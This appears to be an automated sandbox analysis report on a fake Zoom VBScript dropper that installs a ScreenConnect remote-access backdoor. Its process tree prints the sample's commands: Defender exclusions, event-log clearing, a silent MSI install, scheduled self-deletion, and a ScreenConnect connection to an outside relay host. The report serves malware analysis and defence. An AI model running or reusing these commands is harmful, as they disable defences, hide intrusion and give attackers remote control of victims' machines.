Analysis

  • max time kernel
    149s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    23/07/2026, 14:25

General

  • Target
    Zoom_exe.vbs
  • Size 27KB
  • Sample260723-rrmelsbd84
  • SHA256 96986991e6afc47c446c9f789014d6931ddc84d1f52257e77d8da915f985ed39
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Clears Windows event logs 1 TTPs 4 IoCs
  • Badlisted process makes network request 8 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 22 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Zoom_exe.vbs"
    1⤵
    • Checks computer location settings
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:1416
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\Zoom_exe.vbs" uac
      2⤵
      • Badlisted process makes network request
      • Checks computer location settings
      • Adds Run key to start application
      • Executes a VBScript file via the Windows Script Host.
      • Suspicious use of WriteProcessMemory
      PID:4844
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c title Windows System Service
        3⤵
        • Executes a command shell one-liner
        PID:4492
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4496
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Add-MpPreference -ExclusionProcess 'wscript.exe'"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5016
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Add-MpPreference -ExclusionProcess 'msiexec.exe'"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1036
      • C:\Windows\System32\msiexec.exe
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\fWK3FezRFc.msi" /qn /norestart
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:544
      • C:\Windows\System32\wevtutil.exe
        "C:\Windows\System32\wevtutil.exe" cl System
        3⤵
        • Clears Windows event logs
        PID:1604
      • C:\Windows\System32\wevtutil.exe
        "C:\Windows\System32\wevtutil.exe" cl Application
        3⤵
        • Clears Windows event logs
        PID:4224
      • C:\Windows\System32\wevtutil.exe
        "C:\Windows\System32\wevtutil.exe" cl Security
        3⤵
        • Clears Windows event logs
        PID:1628
      • C:\Windows\System32\wevtutil.exe
        "C:\Windows\System32\wevtutil.exe" cl Microsoft-Windows-Windows Defender/Operational
        3⤵
        • Clears Windows event logs
        PID:4492
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c del /F /Q "C:\Users\Admin\AppData\Local\Temp\Zoom_exe.vbs"
        3⤵
          PID:4368
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\~O014Pd.bat" "
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4744
          • C:\Windows\system32\timeout.exe
            timeout /t 3 /nobreak
            4⤵
            • Delays execution with timeout.exe
            PID:4664
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /tn "AdobeUpdateTaskB4OA" /tr "cmd /c del /F /Q "C:\Users\Admin\AppData\Local\Temp\Zoom_exe.vbs"" /sc onstart /f /ru SYSTEM
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3508
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Boot or Logon Autostart Execution: Authentication Package
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4524
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding F8C9A50E1782C7D75B5A8B03D73D37ED
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3816
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Windows\Installer\MSI7EDB.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240746546 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:4320
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 745C50FBB4C2D5552023F627580FA5AB E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:1204
    • C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=panel.munchyyyyyscpann.live&p=8041&s=f50c2c14-08f0-4380-b6b8-6332850df8df&k=BgIAAACkAABSU0ExAAgAAAEAAQCpFELtUVjqFdXQRmLr%2fXrGdiSCqVQKdX1haAtUgQjjDZILzr0vR73mXrkeJaEeJAC98qTgFzXzVkAgALWFr2vHGuR9fy3zg3TDWjGGnk1afT8YvPkNMW8P4CXFhgtQGm%2fP4ueQr4kF2kh1cG8zzQV0%2fh%2fTkY74whERRw8TJJ9KgX9LPDbbjlrUtIjaFj0DPgmWbMRSvv0u6%2bA2KTCmybPbD8WG1liQlPVyNQ7yRQpXFcvCVOKB%2blgMjNfD4%2fFhWTScVfGgrUh61h72uf%2beqTSKJHGuMZRwXhx%2fFkuyEOn0RY0T0FcxpSMqcvrFxXRFGMzVjtpDkL0rIbzXm7LcgJmq"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3312
      • C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.WindowsClient.exe" "RunRole" "0eeda39b-4cc9-4ed1-989d-fe7595f8bff9" "User"
        2⤵
        • Executes dropped EXE
        PID:5000
      • C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.WindowsClient.exe" "RunRole" "0c19c748-c041-4417-b767-cfcdb11df7d1" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:1076
    • C:\Windows\system32\msiexec.exe
      msiexec /i "C:\Users\Admin\AppData\Local\Temp\~msi.tmp" /qn
      1⤵
        PID:1224
      • C:\Windows\system32\cmd.exe
        cmd
        1⤵
          PID:4972

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              e597bf0.rbs

              • Path C:\Config.Msi\e597bf0.rbs
              • Size 214KB
              • SHA256 1724e4a833d026e0aa093a57117c18f4ee962b5035992e64c3c726fd4e704031
              • MD5 SHA1 SHA512 SSDEEP TLSH

              Client.Override.en-US.resources

              • Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\Client.Override.en-US.resources
              • Size 251B
              • SHA256 f8c6ffac6cb3413f082100c33adc6a644d92f43ce8412bfae72fad5a2659b5fe
              • MD5 SHA1 SHA512 TLSH

              Client.Override.resources

              • Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\Client.Override.resources
              • Size 270KB
              • SHA256 7e51f0484f633d26551de004887ec9c90c943f2de1f099027fefaa04581f9a23
              • MD5 SHA1 SHA512 SSDEEP TLSH

              Client.en-US.resources

              • Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\Client.en-US.resources
              • Size 48KB
              • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
              • MD5 SHA1 SHA512 SSDEEP TLSH

              Client.resources

              • Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\Client.resources
              • Size 26KB
              • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.Client.dll

              • Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.Client.dll
              • Size 192KB
              • SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.ClientService.dll

              • Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.ClientService.dll
              • Size 66KB
              • SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.ClientService.exe

              • Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.ClientService.exe
              • Size 93KB
              • SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.WindowsAuthenticationPackage.dll

              • Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.WindowsAuthenticationPackage.dll
              • Size 254KB
              • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.WindowsClient.exe

              • Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.WindowsClient.exe
              • Size 588KB
              • SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.WindowsClient.exe.config

              • Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.WindowsClient.exe.config
              • Size 266B
              • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
              • MD5 SHA1 SHA512 TLSH

              ScreenConnect.WindowsCredentialProvider.dll

              • Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.WindowsCredentialProvider.dll
              • Size 822KB
              • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
              • MD5 SHA1 SHA512 SSDEEP TLSH

              app.config

              • Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\app.config
              • Size 1KB
              • SHA256 805e6e9447a4838d874d84e6b2cdff93723641b06726d8ee58d51e8b651cd226
              • MD5 SHA1 SHA512 TLSH

              system.config

              • Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\system.config
              • Size 951B
              • SHA256 e499aba863f736a12bc47d55d0690f8bd4c4e677d50c91ed50467135382b45dd
              • MD5 SHA1 SHA512 TLSH

              powershell.exe.log

              • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
              • Size 2KB
              • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 944B
              • SHA256 f8955b8222531e781da46d2073ba029d35c9ea1e9e0afc8aec301ef664cc7ba1
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 944B
              • SHA256 9e94e7c9ac6134ee30e79498558aa1a5a1ac79a643666c3f8922eed215dd3a98
              • MD5 SHA1 SHA512 TLSH

              __PSScriptPolicyTest_5hft1ag2.yp3.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5hft1ag2.yp3.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              fWK3FezRFc.msi

              • Path C:\Users\Admin\AppData\Local\Temp\fWK3FezRFc.msi
              • Size 13.5MB
              • SHA256 9f67f094f5b463b3c271636b76349ae209c107231dc6877538365936962d1f70
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ~O014Pd.bat

              • Path C:\Users\Admin\AppData\Local\Temp\~O014Pd.bat
              • Size 169B
              • SHA256 7143e2d11367a3a3ade052a839e8a0217604924317cfa39d5e770474efbc5484
              • MD5 SHA1 SHA512 TLSH

              MSI7EDB.tmp

              • Path C:\Windows\Installer\MSI7EDB.tmp
              • Size 1.0MB
              • SHA256 0918d8ab2237368a5cec8ce99261fb07a1a1beeda20464c0f91af0fe3349636b
              • MD5 SHA1 SHA512 SSDEEP TLSH

              Microsoft.Deployment.WindowsInstaller.dll

              • Path C:\Windows\Installer\MSI7EDB.tmp-\Microsoft.Deployment.WindowsInstaller.dll
              • Size 172KB
              • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.Core.dll

              • Path C:\Windows\Installer\MSI7EDB.tmp-\ScreenConnect.Core.dll
              • Size 536KB
              • SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.InstallerActions.dll

              • Path C:\Windows\Installer\MSI7EDB.tmp-\ScreenConnect.InstallerActions.dll
              • Size 11KB
              • SHA256 d727a640723d192aa3ece213a173381682041cb28d8bd71781524dbae3ddbf62
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.Windows.dll

              • Path C:\Windows\Installer\MSI7EDB.tmp-\ScreenConnect.Windows.dll
              • Size 1.6MB
              • SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
              • MD5 SHA1 SHA512 SSDEEP TLSH

              MSI8778.tmp

              • Path C:\Windows\Installer\MSI8778.tmp
              • Size 202KB
              • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
              • MD5 SHA1 SHA512 SSDEEP TLSH

              memory/3312-124-0x0000000004720000-0x0000000004770000-memory.dmp

              memory/3312-144-0x0000000004C30000-0x0000000004D02000-memory.dmp

              memory/3312-128-0x0000000004770000-0x00000000047A6000-memory.dmp

              memory/3312-142-0x00000000047B0000-0x00000000047F1000-memory.dmp

              memory/3312-140-0x0000000004A50000-0x0000000004AE2000-memory.dmp

              memory/3312-113-0x0000000004370000-0x0000000004388000-memory.dmp

              memory/4320-60-0x0000000004770000-0x000000000479E000-memory.dmp

              memory/4320-73-0x00000000051F0000-0x0000000005794000-memory.dmp

              memory/4320-72-0x0000000004A90000-0x0000000004C3A000-memory.dmp

              memory/4320-68-0x0000000004850000-0x00000000048DC000-memory.dmp

              memory/4320-64-0x00000000047B0000-0x00000000047BA000-memory.dmp

              memory/4496-0-0x0000022C61540000-0x0000022C61562000-memory.dmp

              memory/5000-156-0x00000000029F0000-0x0000000002A26000-memory.dmp

              memory/5000-157-0x000000001CDE0000-0x000000001CE6C000-memory.dmp

              memory/5000-158-0x000000001D020000-0x000000001D1CA000-memory.dmp

              memory/5000-159-0x000000001D1D0000-0x000000001D356000-memory.dmp

              memory/5000-160-0x00000000028C0000-0x00000000028D8000-memory.dmp

              memory/5000-161-0x000000001CD50000-0x000000001CD68000-memory.dmp

              memory/5000-155-0x00000000008C0000-0x0000000000956000-memory.dmp